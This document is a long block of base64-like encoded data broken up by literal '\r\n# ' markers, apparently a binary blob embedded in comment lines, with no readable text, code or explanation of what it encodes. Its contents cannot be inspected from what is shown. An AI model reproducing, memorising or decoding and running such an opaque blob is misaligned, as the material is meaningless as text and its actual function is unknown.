poZLTtqSuSm7akuYqeW5LeqvE8cZKYlTib0u+V0k2W9I4nUwK25KLKqloS1qGqHW3JYNVEmZLFoTI53UjkAyl5KBKpuukYpqLKlm\r\n# rk5pIvtVJXSQ/66QREu+3ZtICSQ6dtEVSWScdkDTSSVckvXUykBJ/SiJ0MgLJXJ18hSRWJ+HmWuhkLpJDOolFckknq5Ak62RLmks\r\n# qcf/DTHYhyaCTI0jK6eQkkjY6OYtkoE4uUyKXeYZObiKJ18kdJPI7I5zcQzJbJ4+QHNGJ4c/JdZ0U9r8cYn7PhZPW/t+rZKueV1s\r\n# kx3XSjhI5zjWd9EDym076IfF8ZyaDkGTUyTCMnF8nI9CnvE4mo09LnUxB0lMn85GM10ksklidxPtfUckunaxHclonG5Hc1MlumdB\r\n# 7xl+R+Ilv0Uf8afa55n9VJSl0chNJbp3cQlJdJ3eQdNHJT0im6OQukrU6uYfkO53cp0Rusec6eYg+3sKB5FdK1KfXBH8/20/8Rom\r\n# bfIamkxf+10Ic1KcPErpn87+ukrE6SRnAySyd+COZvNNAkpmSQHkHgj5DRTYk+50St+x0HOq5q0S+79ZJjoDbKnmpk9wBd1TiZ5h\r\n# J3oC7IWMp+Ugn+QPuq6SATgoGPFBTlUZS3bNQwEOVfKL7FA74RSWNdVIy4IVKuuikXMCfKhmqk08DUqaXyTSd1A5IrZJlOqkT4K+\r\n# SHTppEpBBJd/ppGlAJpXc1ckXAbnSy+3zTiftAvKoPp4OM+kQ8LFKsumkY0ABlZTRSZ+AUippoJO+AaEq6aqTYQFVVDJaJ8MDPlX\r\n# JAp2MCKimko06GRlQQyVHdDI2oL5KrutkXEBDlfyuk6kBrdR6pXYzk2kBbVSSXieRAe3UVDl0MjOgo0pCdbIgoKeaqp5O4gMGqaS\r\n# FTpYFDFVJR52sCBihxumpk5UBo1QyXierAkarqRbrZHXAWNVnhU7WBkxQyUGdbAmIVMlVnWwLmKnGea6T7QGzVZ93OtkZME8lad3\r\n# NZFdAlEoK6WR3wEKVVNfJ1wGLVNJKJwcCEtS8BujkUECiSkbp5FjAWjVVhE5OBGxQSbxOTgVsVslunXwXsEUl3+vkcsCe9M5n7tW\r\n# AQy7JjwFH0/vRVI/czfP9RsAJGkeIlCnM68a9gG/VyEEpzKkeICmsk0cBF11GfhZwXfWppfv8FnBLJd108jbgYXp5RYrQ8zICn6o\r\n# kWidelKSgZBWSaSIYfXbrPsGBL1SyV/fJQokPzetiCnO9sgS+5mNezz1b4BuV+HmYSZ5A9wwyKaiTYoG+GeTcP/cw51UuMCiD3D6\r\n# tdFKNEjmvMA9zXo0pmUjJAD1OEzUV7WWdtAhMp5JonXQIzKqSzTrpGpgnQyDuE3jkPoGF1by26KRfYBGVJOhkKCXelJzQyzMcyU8\r\n# 6GUGJ3O8pUprJSEpS0KtncEpz7qOQ5LclxVTyGZJwY1RgCbXMLXWfMYHlVdJHJ1MDP8vgfGzMDGyo+kzQfWYHNskg9+CilOZWnRP\r\n# YTPXZqPvEITmjk42B7VTySCf7AruqJJWnPncC+6qksE7OBA7L4Ca/l62T+4Hj1NYI8zS3xsPA8arPIN0nWSbUZ7ItmaSSJJ08C5y\r\n# pkuM68QuKV+Pc0ElA0Gp1/LzyNNc0IGidSny8zKM3BEl6W7JJjZzHyxwnJGirSirrJE/QHpU01UneoH0uy1Mo6KjLvigVdFYd4X3\r\n# 0vEKDLqipxupxQoO+V8linVQIuqWSXTqpF/S7y8gtgv5Ufc7rPq2CHBllkqyTzkHeKnHzNpNuQYEqyaKTPkGZVFJWJ8OCcmV0nte\r\n# IoDwZ5Xaur/t8FfSxmqqFTkYH5XeZamJQcdVnuO4zOaiUSmbqJCIoVCVrdTInqIpKzukkJugzXi+dJAY1UInDR79+BTXKKM/BTD7\r\n# mMbYuqJVKQnWyHkkjnWxAMkAnG5HM1skmJKt0shnJaZ0kIbmvky1IDF8z2Yoko062ISmsk+1IqupkB5IWOtmJpJdOdiEZq5PdSKJ\r\n# 08jWSjTrZg+S4Tvb+pc++v/TZ/5c+B5Dc1Mk3SH7XyUEkqfzM5NBfxjlMibw3zqP7HKHE+YiSibyOVfUzz+6jQV9klNfnFnqqq0i\r\n# 66uQ2JXJeK/cIJHeRjNB97gW1U8kYndxHslQnD4Paq2SPTpKRfK+Tx0EdMnrL383wM5f5aVBHlXilMpNXQV+qJIdO/ggKyyivkPL\r\n# dH4+TMrgrH726TxAlDvk5GSS5PbIE91DjtNF9sgT3VFP1RDI1Ta7gfmqqcN0nd/CgjHH0v2YgoS0ePFT1SUDy1DtP8HCV7NJT5Qn\r\n# +SiWndZI/OFwld3RSNHiKSl7ppFhwpEp8U5tJ8eBZGQ3RmsrmkwzRhWxHTic7kmvhSTKMfER2I33cWLO/2W+6S3/Xfh8al/ulFQX\r\n# JnpOKGyXIvmQbchA5wU32K26sV2YXl8nhNN0tcgLVr8gI0tOd3gGSaciF5EfkWjIPeWCShyjhLqf3EGVhZfgZ61FP2TS8GXmK/AK\r\n# GKQ3RC04gz5FLycvkLndez6PkNds458lb5DX4QGmIX8l7ZMoUvP7ZU/D05chksin5mOwDzfYp5NNJo8Vy8jeqN5GvyW3kn6T8DdO\r\n# Ukw1xTPUz6H6QpxMeQvhO9hA5PeT4HqIIq5ezJNX+k5uGl1ca4hMyLdmAzEj2JbOR5nzlb6Tmono8+TEZqcY3xGKyiOznwft7PVm\r\n# K6j1kOfIbsjJ5lKw22dxe1rg8vb/4zkMul7+468HrYc7vOfk5+ZZsSKZIKUQzMg3ZmkxPtidzkF+SBcjuZCmyD1mNHEg2Scnb9Yu\r\n# UPH7XlHw8yvkPo/YBKXl7fpWS10N+TydsUoPwqXBRSt5vPJ21HbdSPZa247fwPkzhKfUQGTx5++f2lPP3EAVVbohinryfypOTJlv\r\n# LURO563yaUT6Nxm0P+8JhcDScAKfDKLhMaYiVnny87fd0Ph5+oHoW9bsO78HH8A1082J9YCDMAgsqrXHLUz2f8uqwrtJqb0n1Isq\r\n# /VNJx58XLNwyOJWMpn0auIKOQr/Di/bHNi/fnQdTm+fUd1aup/2O0vyA3UP2G3EK6ewuxU/6uE7l3cnYRSB6k4zCEPEVm9+bjMb8\r\n# 3j1fSm4+XsuQFmq4SrAb5eHYXtbzl8rnTXZmczl2EYbqesJ/SXfcfqvoVFeMwH+7fIHymtzwOaL95y+OmQfhm1Z5WHCMv0/wekVf\r\n# IlD68ftl9ePrP6fp6w7Z95f78SZ7nPmwN2ASGKa3+/al+SPlIKI8v6QTU0+A8GAPXKM3jyjrOtlD+mPITaL/nw+eh4cvtH/lyexX\r\n# yuW05WlP9isbtD6fAOTAGrobb4EF4Dt6Gv8EUfmxGmAuWVlrLX9PPWv5XdDy09ZPHn7u6zr0j+/nx9S3cTx5n1v7k65u7mEi5WwQ\r\n# dr368f7b4OZ/Pcr94RjQN3+/HnlamFZf85H53Fw/85HZyF7+RfhHyHwKW47gLXxicio+v7LBQKu5fCdZKxcdhI9gWdoS9yLQ07gg\r\n# 1nvNy+dL2mJSKnQpnKZ37ZaLllr/aK10C42EiXAeT4C64Hx6Fp+AFeAXegg/gr/AlfAfdU7OpYHqYDxZRGiI0tTzenK972am9WWq\r\n# 2ldJDtEvN9wldU/P1e1BqPh5Gp+bzbEpqPp+r4bydkZpfJ+bBGLgaboUH4Gl4BSbDV9A3DZsB5oFFYHlYCzaDHWFv+BWcAOfBVXA\r\n# nPApvwWT4PA1fn4Q/3e9GNAgP9OftVhTWhd1gBFwJD8F70DuAzQkrwTYwPIDnuwSuh/vhRXgfvoSegWwIzAtDYU3YHHaBQ+AkuAi\r\n# uhfvgJfgQvoGpgrB/YCVYF7aBfeA4uACuhgfgZfgI/gmDg9n8wdhuSjdRM1iev26iPmwHu8I+cAj6jwuW1xc3EQHnkh9HuIk41Jv\r\n# JwrQTj5Kh5DmlIa4E832JvD8qT/V9qiuTT8iq5Cs1Dr0epeX7pzRp+TqflvyM8uxkPbre5CGbkCXJlpTXSMvXx47kF1R3JTuRg8i\r\n# u5AiyFzmG7E/SS6AYQk5Ly/dNpjIfGcHn9Rg6j+dQPZ7cCL+FD2GKdGw2WA42g4PgLLheaYjzZESEdR+enI6X3yNEiEjKA2Amcg6\r\n# ZM4TbPyYXUF2SXEpWIpfpdmu55fuO1RF8/ZV+FsLWhVNV7iEahvD1qYgHX3/ah2D/wKgQzmPhqhC+Xm0gN9B8d5BJtuU8iul+DLH\r\n# 2xw7KX2B6j/RC7KE6TXpuT5ee82zp+Xgskl7el3iIqrBOel6+Jun5vvcL8ggtd7f0cj09RD84Fu0z4XK4Fe0n4BV4kzxJPocpM3D\r\n# /AJgXVoaN4RewGxwAx8PZGXj89fAEvAYfwxQZ2YwZcT8Py8AasD76tYQ9kYfDWTABboH74X+6vnI9k/8vrWcy1jMZ65mM9Ux+z3p\r\n# eIE/TdNdRy+Na+jPqV9A7E5sVlsjE86uZyTpOZH4Cx91Y2DoTH49dofw3Nc5T/+GZuH0ClPOxPw+Yr/o1DV8KE+BauBFuhTsxzol\r\n# M1nF/j7yE+gr5fcS/Xr6fsT4is5SuJ5n5PMuVmfuHZraf9x7iE9S1M/P7lcaZ5fXaXfQkfySHKg0xITNf/5eSd+h6v4b8lfKd5Dv\r\n# yIOk1xUOcyiyvA7TcGPcmNHP5r1zc089R6P0V1UFT+H19VvJtZr4+pM/C15MisGYWvv7Uz8LTydcHaXOqc05xE19kkce3m/gS9oQ\r\n# D4HA4Bk6GM+B8uERp7cdlVOedQvejcDVcDzcrrf5fU12Q8uPwEryjtPo9pboY5X/AlFnZQJgF5oZFYQVYVWmN15Dq0pR/AbvCwXA\r\n# MnAlj4Ua4T2mNd4rq8pRfVlr5XaqrUP4UvoPe2di0Sqt/DqqrU14EVoC1lFa/5lTXprwj7AWHwQlwJlwME2ES3AtPwEvKBuF3svH\r\n# 74F/gC/hnNr4v8srOBsLM2dX1QC9fIarr03ilYQVYA9aFzWFn2A8Og2PhVDgPxsDVcCvcDQ/Db+EleBM+gM/hnzDlR2wAzAxzwSK\r\n# wHPwE1oFNYVvYFQ6AI+BEOAtGwxVwM9wJD8JT8CK8CZPhM/gGpsjBpoEZYC5YAJaClWFN2Ai2hZ1hbzgUjoZT4Xy4BCbCTXAnPAT\r\n# PwIvwOrwPH8NX0C0n6wPTwuzwY1gKfgJrw2awI+wBh8BxcBpcAJfB9XA3PAbPwh/hQ/gM/mkudy42CGaDBWAp+CmsD1vAzrAvHAY\r\n# nwFkwGq6Am+FueFRpe55OdRO5/eED+BS+hilys4EwJywAS8HqsCFsC7vCgXA0nAkXw0S4BR6AJ+FF+BN8At/BFHlYf5geZocFYBl\r\n# YHTaAbWB3OAiOgdPgAhgP18Gd8Dg8B2/Ax/At9MnLpoM5YQlYGTaAnWA/OAJGwPkwBq6EW+FeeASegz/Ce/BX+A565mODYBb4MSw\r\n# Nq8EmsB3sDYfBMXAKnAsXw+VwA9wJD8LT8Aq8D3+Djo/Z1DAz/BiWhFVgHdgYdoDdYD84DI6BEXAWXAjj4Cq4Ce6CB+G38CK8rrT\r\n# Oz/tUt6T8JfTMz2aEBWBl2AB2gH3gMKU17hSqv5DXC7ga7oanlVb/O1R3ovw5TFmAzQSLwKqwGewBw5XWeHOo7kp5LFwHd8LD8Dt\r\n# 4XWlN/4jqXpS/hikKsv4wC/wYhsJqSmucRlT3p7y90npO0IvqIZQPgeOVVvtsqkfK/Q2XwuVwPdwG98Ej8JTSWo4LVI+h/Cq8BR/\r\n# AZ/BPpZvwLCSXw034Qv9C/P7DNB3MDHMUkvdrlnlc8g9NV9CT2wsUstb/sXw+SfVEWp4ysAqsBZvANrCrkt5vYH4j4fhC8n2Lm4g\r\n# oxM/HIrE+c+ES9EuAa/7N6Vz7bUZu1h+a3uy3xKX/DtT7CvH7oWPwLKa7inaz3x346B9O9zu2u7k8jsK8/OZ+MNfH1FzOlIWdl9u\r\n# 3sPNyRyIPKszvBzOg3cyzufQ3648xbhFo9i+txrGO3wpUT6X9XBc2hd2VbiK8sHxf6zq9NZ8JLvOPQH/X3HU7mOPNwHhmPQe12X9\r\n# RYeftJp05hY9ruV6xWL/SmN9yTL/eZfvLvzPL/balMLsH/Q9g+iPofwC52X4E451A+2ly7hT28mRWTi8NQ/tjeAHtyVSfg5c/UMt\r\n# +URg3Gi6Z8td+19DvLryG/nfhNUx3Fz7GdK+gWxHWD5rXo3RFeP1ct6e5nc06M/q55jmL4Lj7wDiutXlcfGj8D7WbuTmeuX9dazm\r\n# O/Xxc/y/max43ru3pXJbnn67Hv8p9Czk/jylK84mX92OwAqwNW8AOsA8cCSPgfJgA18Pd8Bi8AG/Dp9AoyqaBWWF+WAbWgE1hZzg\r\n# AjoUz4BK4Bm6HB+EZeBU+hC+hVzE2A8wDS8PqsBnsCPvDEXACnAEXwni4Fm6H38Bj8Dz8Ed6HT+Fb6F6cTQVDYA5YGJaDNWAj2BZ\r\n# 2hQPhaDgNzoExcDXcCg/Cs/AqfAB/g24lsN9hBpgTFoaVYC3YBLaDPeFwOAVGw5VwOzwAj8ML8Cb8Gf4ORUk2NcwM88HSSuu8qk5\r\n# 1otyu8Aul1d6D6rWUD4XjlVb7LKo3Ub4YJiq5/STdT26meptcD3gaXoU/wz9hQCk2p9JNhJay31dY96kVKd8tjwvYELaGXeFgOEb\r\n# pJqaUwutoKb7uLC3l/LxvBdX7qf82eBhehHfhC+hRWmotVwjVh+V1QWndV+ah+oTc/ko3UbM0z78ebFqal6sNavM6aObtYRe0h2L\r\n# 5P9Q/Evdhst1+fba3m9OfmfLP5/evxv276f5ufvJ15H3r4Vr3hkPU+NZ2H0H1ebmf4VQ4Fy6Gy5R0v12a1yMJmsv5dWn19wq93/Z\r\n# T/T1NdwKehj/AG/AX+Af0C2XTwaxKno+638f2yR/KloJVYB3YBLaFYaG8PXqGyr/X/PX+Vo5/mOYzMBR//4A5cP/tul1d8w/tP7O\r\n# /+TrtOo5r/q/GMd+fDUH7WKzfRKyXOY5rP57e2j9Tqf+PtH1nwSgYB1crre3+/vHcxMZQzrfD3dAT/fejPh7qvJ6u45nXq//puN+\r\n# F/v24l0L/s+X+Ed6Fv8Dn/2L+l3AcvQ79Z+vnOr15H+1Wxnn6lGWcP9+WmurbtN+yKd1EsTI8XXlYtQyP+zlshrw9/Hf3h7md/ul\r\n# x8aH+8n2Y7N8Dy9W3zPv7mfWHrvcfav9X59Pfny9uYpBtecJs4/63j58PLce/e/z8u+edeV647u9wrPckOB3HyWz4oXY9Pd6vm/N\r\n# daDte5fVnCdX35X0bTIL74Al4Fl6Bt6F8vZA+RP0MepSVuomAsjzfDDAbzAOLwfJlrfW3X5ddt29uvP+rXtZ5O9ZC3RjjNIcdyjp\r\n# vd/O461zWebpFtvex0l5lnZfDHKc/HE7+MuWvuXmfINufUvtoLMeEsrxfp8J56L8QLnaZn2v+d68j8v5hLfV7Ke/74NfwMDwFLyn\r\n# dxK2y7z8PzfPrYVnn5y+8/WzPean9DxrPKMemhfmVfz1Pq5Tjmo9v6/irQ7ljatPw9nC40k3MhzHleL1XQH5OZE2/nvKUNN0eeAp\r\n# ehU+gW3mptb2Cqfadam3Xxi7bI395zs37AvP5VeHy1naQ8y9FtT+N/ymsr+TnE+bxJm1VnsftVt6675PvL+TncNPSdIPLS3k/mNe\r\n# Pk3jeYd9e8vzLOJXPS+nw8lI6rrC88+FSmAg3wp3wIJbn2/LO5933qK9D8zi9W955/z+hOhvN/yV8B70rsMFKN5G1Au/3AhXk52j\r\n# dRPEKPG4ZWA1+DlvAMDgAjoERcBaMhmswH3n/K52A53UbKvBzvN3otx/1t6jPo76J+gHGeQ7/hN4V2WCYFeaFxStax7daHhz3x3A\r\n# eVHRpr1aR51sHeSPYFn6JdnkdkvaoyPthANpHwkkV+bydDZe4TGc+J1tum78cZzX6bYLbMP5eeJTMNdX6fOR3KufvoeWf6i/uU11\r\n# oag71eb2Ok3KIJxj/FUxRiU2tzCEyo/6okjwOiosileTrUnFRgSw+tbiooaT9X4nn35EMpborWZHsX4nvq7+qhPdflfB5T7LqVGv\r\n# 5tlNdi+ozlbje78k+QG1UZjPBkpXl/jBEPRhG1qfpR5JNpprrlUPMqcyfF42uLJfHEFsry+Wz5vdtZf68sOv8fsF8UlRhze2ZsQr\r\n# Pz6yLVeHvydWGneFIuLAKf44sCZ4kW9F8L5CdyJ/I3qT4hD9fNgWf10+B2vsTHifNJ/x5/hBSfv8kC+o8sCisCOvDtp/I72MYojs\r\n# 5hOYznBw51UOM+4Q/3zgFzoJLPnG+XqykegxdFzbBr+EJeEHpIa5j+p9Ry8/7yc83vkDu+SnXQTAjzA/Lfcr9asJmsPun/Hm+waj\r\n# HwtlwEaZfgX5rUR9A+1l4BybDJ/AN+ntU5TojLFhVXe9FeVinKvdrAjvCgXACpouCCXAdlNcT6XbUX0N53yndb/aDlzDuLdQ/wzf\r\n# kRNq+ftXYrLAo/LQa92sJB8FZcB08Du9CR3U2CywIK1TH94uqy+OGzjPUfarzcTiMnEr5WHLuVP5e4BIyguoEci65koyuzt/TTCT\r\n# XUb25Op8/5vEsv/fzHN8r3IXj9KA+Xq3+O+A3WA75ucxk2/dM5ffjjlH/U9V5vIvkKap/JM/ZdO33W3X+HKjZbs7X7Peh5TXHT1m\r\n# Dp08NP9Q/fQ3+XqPZ7jqda3/5fdSrWI6bZFbqd9e2neXyJ5N5a/D1ojT5q215W9fg7WNO36kG75ceNfi6NgiOJ19QPg3LsVSNV1Q\r\n# sr8HXn+3kGzq+DteQ35fwEKfhpRp83t2Gj+ALtPvUVN8XUPfFMs9Qkz+XmwsWhqVrcns5WAnWgPVgG9gdDodja/LnkSNhdE2e/wp\r\n# STPMQG+FueLgmn1+n4EX4I3xQU/6dkNfnscv6hKFdnh9P0f8t9PjM+XPZaahOMc2q81HtPa1p+OewGxyntPotpzo15QeUtu+xUR1\r\n# E+VOYohYbAvPDirAB7AgHwkkwGq6D++F5eA++hn612WywBKwJ28B+cCJcBDfCw/AH+Ag66rBp4cewImwIv4QjYSSMgRvhKfgTfAF\r\n# Tfo7tBvPBsrA2bA17wq/gXLgGfgN/gL9Cz7psVlgKVodN4ZdwEJwA58HlcCs8DC/Cu/AFTFkP6wfzKa3jqAzV6Sn/FDaDveBXcBp\r\n# cCNfDPUprPPk9ryyUB0P5PTDpI3gZHoCr4QI4DvaBbWBdWAnmgamg/F6b9CG8BPfBtXARnASHwC6wOawJQ2FeGAI9ofwen/Q+vAj\r\n# 3w/VwidLaTmdou+Wg/IrS+XudeeV61JM65wXl+VePzVhf6txejPLy9dk6Sg/RtD5fn+T7B/V6Tv1K26ZrS+3lqX8POAxOUnqoz7O\r\n# o+5VQa3qZz63vfH+4kOoqNN0GJd3H1Mf1FN6CP8MX3E9P/wfV1eV1pQGbE5aGn8Ev4GA4A66Gh+Al+As0GrKBSg+RjaxN5iHrT+P\r\n# v18i8SENez7KwSkPn3xuoSXUTGqcl7Kv0EBMbqu0qZjdU+1nENuTXhyS4D56EF+CP8AGmf4r6D5iyESu3uxxXPh+XNb8v9FDPr+R\r\n# 0/o2cj6+MVLekvGAj/t5LUfIL+3lPdSda/k9gHdgcdoJD4TSlNf0iqrtSngiT4B54Hv4MXyut6d0bC9FL7g+YHZaCDWAnOFLpIeY\r\n# 05uMnBq4i+1O+qTG+p9WYt8vexny/cRH9rsNfodHE6fct9HL5UD6E5pdeaeWhVI+UxyFsC/vDiTAaboRH4WX4M3wBvZuy6ZXW/Ap\r\n# QPYbyyrAebAN7whFKa7q5VE+kPAFugvvgdfgOBjRj88GKsCHsrHS+zkylfFQzqYeY1ozPI3M/RFE9c5q13eOaOW/fRKrnydctpfO\r\n# 40ZTfaca+UdL7xeZ8fqZrzuNlba5y6/sxVMfI/QK/hGPgArhBaf4+RYPwE83Zq/Bxc/7dij+b8/2zZwshlsnjswXf/37cQp5H/qI\r\n# cbAK7tOD74lHkKrk9WvB9p/z9HmlZGI28Mtd6+WMpXz/NEDtbOL+vP4T6BJk0je/bd5BnqN5DXiWP2PKbLfj+3Ww3pzfb5fuYk+Q\r\n# vLXj83+A78jvKPVuyqcmrZAbUucgHZGHyKW2/0i35e0rVYIuWcr4NwofBmTAB7ka/86gfQEcrztO24jo/LNOK18NcXvN91+eteL+\r\n# 0gt3hEDgOzoDz4RIYD1dD1+0s34/9RPXWVlyHebP8exTW+6h9mP4glO+/Xurt6y/OIL9GGtOd3/95UH2nFfuc9CFFa/k8ztpPH5r\r\n# OtTb7meOkas2/E5GxNf8+hnwfnma6u8hHdXpqL0HmJCuTRclaZCmyCezYmt/vjSDLUT2ZrEzOVXkOEUdWn+4mtpB1KN/XmvfPjda\r\n# 8PG9a8/ZM14YtDuvCLnAijIXmfnB9P2zm5vtyMzdrs/1D+e42+L2gNrxex9rwfjlPNpPbr438vR9D/NRGvo8uKn5pw++n37axzkO\r\n# 5Xvw7JlzL7evell9fzOdcPm2laUU2st10ep1tK7evhwhty8dxRbLrdH4+0mu6cy2fl9SmeijVjckx03k+r/C+P9l2HrieD23b8vp\r\n# 0JCfSdH3IqeRIcuZ063ur8ne2FlI9T/VvFL5YLVej8GVwGzwJr8CH8BX0/YLNCyvCOrA97A1HwtlwGdwJL8En8C30b8dmgYVgFdg\r\n# AhsHBcCKMgglwPTwAz8Of4Avo1p4NgDlhEfgpbAzbwR4wHE6FUXA1PAQvwjvwZ+jowOaGn8HmsDccB6NgItwG98LL8CF8B306sul\r\n# gLlgK1oedYX84Ds6Cy+A6uAdehL/BwE7YjrAWbAsHwUmd+HxZ0gm/k4V6Hep9qI/Dy/AO2p+h9u6M87cz13k7833Darz/Kd6Zn9/\r\n# I+2j5ex8VOvN59Dls0Zl/p+pLjDMIRsIlcB3cCQ/Bs5jvFdS3MV4y6nfwvzXffzq/DF+y+b7k9S6OuhJsBMPgV3AinPMlz8f8fZQ\r\n# Y5PJ1R9ab0b4LnoTX0O9n+OZL3g9pwni/hIT9e8/bs2E687l7PtTm8/fiYXx9rgjro70l7IL5DYTj4Vy4Av3M981JyPeFWe9/l9L\r\n# 1/VCY8/3Bd6ivwSfQvQubGn4ES3fh/V4B1oHtYV/0GwpHI5+OOhomQvO434r6CPqfhde78P5IRv1HF15P8+8qqbqyOWAZWKfr3//\r\n# dpXVXHle97pJdUPftitcvOBn5TLgQ+TrU2+FR+D2809X5/fdjqhOm0/v5bmwwLAhrKWl/w7BuvJx94JBuPN9J3Xg7RMFV8DC8Bd9\r\n# A/+5s3u48fdnuvHzVkDeCneFgOBUmwH3wMsb5HQb14OUrBSvAqrBhD75ufYG6Sw/ef4NgOLenmdlD3k/S+y7034b2o5juBnwJfXq\r\n# ymWER+AlsC3vDYdC8nsrzVL6vmdCTnQdXwp09ef7nIX++j5YD4zxGP7debFqYH1bqxf3/3b/v1e6F7QY7wkFwJMadiNr8e+Ai1Mu\r\n# h+ffB/9bf8/6/+jveh/5+93UvPm4nuRzfp3ux93u9/3wwevP0mWDB3pzXhP/p+dAG446AC3r/z463Xb3/2XHnepz9t867s73/d86\r\n# 7axj3Pz0f/qfH/8/YHy+gex82EOaCJWB12ASGwUF9cP3tw/cpi+A6eBjtF1En9+H98986/+TnZ+R2NPq+/3xMizw7LAwrwuZwAJz\r\n# T93/3PP5Xf4/fQvNfSe/vDvbl8+8EuWE6f35Evi8+2xfbs6/8fUi6TyS3TrfeT8rX7V3T3XV9C/3592j9xdu+/Pd0r378Pjq4n/P\r\n# ftTP2Y/OR+2jc4uSh6X/9u3z5fmxt2Io8Q/2+RD0Y444jf5hu/R1/tmr3Fxv68frtU8+HrPuBLf3k+9um4dvhLqW72EveoHGOkz9\r\n# N5+c0T8grVL8h75PukYZ4TnpH8n1WcCTfd0mN/kJkiOS/s+eItJ7PeFNegOq0ZNFI63d7c/Tn9TA/x2Ruz8rIG/aXvx9siC/647k\r\n# VWYqmn9NfPl+z1mdzf3l/2TR8J7yO+829/Xm/n4G34HPoNYBNP4CP76ww1wC+PhSCpQfweVWVLBdpHR/tBrCdBljPXzzpeOlNdeV\r\n# Ia33k5xyq2erBA3i/mZ9fGD/A+XMM5uciPvQ8R/5OYq1Idzy/ctfHsXyOWY/mE4nxVgzg7X+QbE757QH8PObZAOH0HCjlQM6DB3L\r\n# ujuckZnuegbyeZQfK38VtEF5zIM+vI9km0uq3FJ+jkM/Xvoy0PhfRA9MPh66fnzA/NzF2oPzcpyFmkN1p+ihyABlLjiQ3DJSfozP\r\n# EnoF4/R3I010ZyL/nfZ+cQP2eIn8NvQexGZT+4iNySqS/KErOjLR+t7w61fOpbjiInwf9b7zeh/0Hr/cLMG6rQWwYdH5fStfZQex\r\n# EtNvfx/61v+v7WA+xeBC/ziUN4uP/a3gQ48rf2ZXi7xTiJPpfQvuP8Gf4G3wLB+F3/TwGs9N82LSocw/m46LwYF6uUNTm+/xKg/m\r\n# 6XBPtnfA5HfO8NM+HOmivgPf7n0N+buAm6qOdnxu4iS8Gsz3hCDhhsPPzAtfnBNMxTjS5iI6ftXA/1sf8vOAl1Dyfv3xuUFxH/hj\r\n# 93g12fl/9d/dbyf/ifkvd3+A+5H/jPutDzz1k/XfPPWR+Er7/uQf/3cb8u46cn/kcxLy//dDzEN8hzs9FQoa8//mIeZ9r3veaz0u\r\n# cn5MYItcQXo4S8FNYGzYbgucRsO8Qnm4k6umoo2Ai3AqPw6tDcDzg+Hg4hP0d83EMZQOHOi9PDtTFYAVYZ+j7l6/ZUDx/GGqfryG\r\n# +Qj0FRg/l5Xn/cwHrc/qrqV9sZNPwDTAJ7oGnoRxHehX1LXgPPoUvYYphrBdsielToc4Ac8KCsCSsBKvDprAz7AdHw2lwDoyGsXA\r\n# N3A4PwBPwIrwDH8PX0G241NpuflQvpzw/rApbwwFwFtwAT8MH8A3MOIItC1vCXnAaXAH3wAvwMfQayRaBdWFb2AsOhJPhQrgW7oW\r\n# n4Q2YDF9Ct6/YDEpr++SlerXcn0orb0r1Bsp7wnC4Qmn1O0H1Frk/4G9Kq913lBA7KfeHmWEBWBKWgzVhA6XzOHspbwI7w+FwApw\r\n# LVymt6ZOoPiiPJ3gMXlRa/W5SfYzyZ1CEs4EwKywKK8C6sCMcBWfClUrn+ZyifFc4exSeh1fhffgr9BzNfgTLKq1x5fTnKG88mv0\r\n# CdlM697tM+eDRbDicChfBNXCn0nn6a5QfGc1eUDq336L85mj2V+g+Rurc7x7lWcawBZVWeyWqk7FdpNVQy/0mrYW6MSyKfllhBaX\r\n# z/H6V22UM201ptQ+i+gXlY+B0GANXwA1wJzwEz8FL8LbSGv8J1W8ofwXlcf7G1m6Mlf+gFV0fYAaYF5ZSWv2rUZ2C8jqwIWwJO8C\r\n# ucBicCudC+f2rFDOczzdvypeNZTfAnfAoPA9vwyfwLfQex6aDuWF5WF9pzbcT1akp7w4nwTi4Fe6E++EJpTWO3K5BlJ8bx16Dt5R\r\n# Wv4dUp6f8GXwDU41nM8GCsCysB9vAHnAgHAUnwcVwKzwFv1c6L3cWyn8ez76GqSawGWAuWApWg3VhY9gB9oMj4Xg4DyYqnZcjh9z\r\n# OE9h98Cg8Bc/D20rbcU51Xmx36W+qttpfU12QcsdE1gcGwixK2++FUF2M8gJQ7i9pMVU7n9+lKS85kS0Hq0C5XqVt/WtQXt5WN6a\r\n# 6CvVrDdvDkrAcDIO94WA4Ck6EM+ACGK+0fY+J6upy+8Jj8Ft4Fl6HyfAZfA3FJNYbpoZpYRZYBFaBtWFD2Exp+70bqmvL4xhOg0t\r\n# hPNwCD8NL8CF8B1NPZrPDkrCu0toP7amuT3lPOAxOhivhAaU13Vmqm8jzCt6CyfB3KCJYbxikdL7+tZzBv1svTYC5Ith8UB6/0iK\r\n# oSyhtv7tLx+MXlIdGsJ9AeX2W1kHdCvaAI5TW8kRQ3YnyOVAex51cjvuulEdHsMvgBrhTafU/QnUvyk/CC0qr/QbV/Sn/Fb6CnlP\r\n# Y1DADLADLwhqwNewLR8F5MBHugSfgRXgbPoOvYYqpWA6YFRaClWBD2ENprV8/qodQPgbOhSuUVr8tVI+k/Dg8B6/Bu/AxfKN03v9\r\n# jKHefxvrBEPiR0vn1b+IMvg+Q5p8mdd7PU+XxNo0tDeXrnLSiqq3+taieKfcD7AnDlc7H1zzKZ05jK8KlcD3cDc/CG/Bn6DadTQv\r\n# l/ZA0n6qt+cl/FyJaLv90tjz8BNaE9WAL+AXsCLvB3rA/lP/Oi3Qw6pFwHJwMZ8JoGANXwPVwG9wPj8DT8By8BK/BW0prve9SHUP\r\n# 5E/gMvoN+kWw6mB3mgcVhJVgHtoVd4UgYCWPhWrgdyutADJYvmZZvH+XL5HVB6ZyvQr7Ktj7fU71eHgdK5+tnEuUPIlkxg80AC8F\r\n# qsBHsAYfBSBgN18Jj8Cf4BwyeyeaA5WBT2BdOgw3Uclrnq7yP3kF51Ey2oaqdz789lMfPZOX9vzRR1VY/eZ/8zQy+T5aeh7fhE/g\r\n# Wyvtk6aaZ7CH4vdIaVx4PR+V2ncn+AeX7E6n7LKnVXx5f3+L4+tZlPc7aah+a7hL184cZYR5YAn4KG8MOsA/8Cs6Bq+AOpTW/o1R\r\n# fpfwM/B7K+znpTdQ/wUdKa/q3VN90uW+7O4Pf10h9ZrMhSuf1/pnygrOlVl6O6ifyvILVYG0or7fSpqhbKZ3H/Y3ydrPZMNhHafU\r\n# bRfVryqdDeX2Uzla11U+2/4l26ShVO4/jPrNp+BK4Wum8PF6UH57NXocP4B/Qew6bHYbCxrA3nARj4Q54Gf4B089lS8I6sDMcC+O\r\n# V1vIepjoV5SeUVv4D1YGU34QP4FP4Gv4JU85jU8EgmBnK402aD3URWB5+prTmX4/qEMqbw/awO5TvQ6QDUY+Bc+ByuAYmKW2/p0d\r\n# 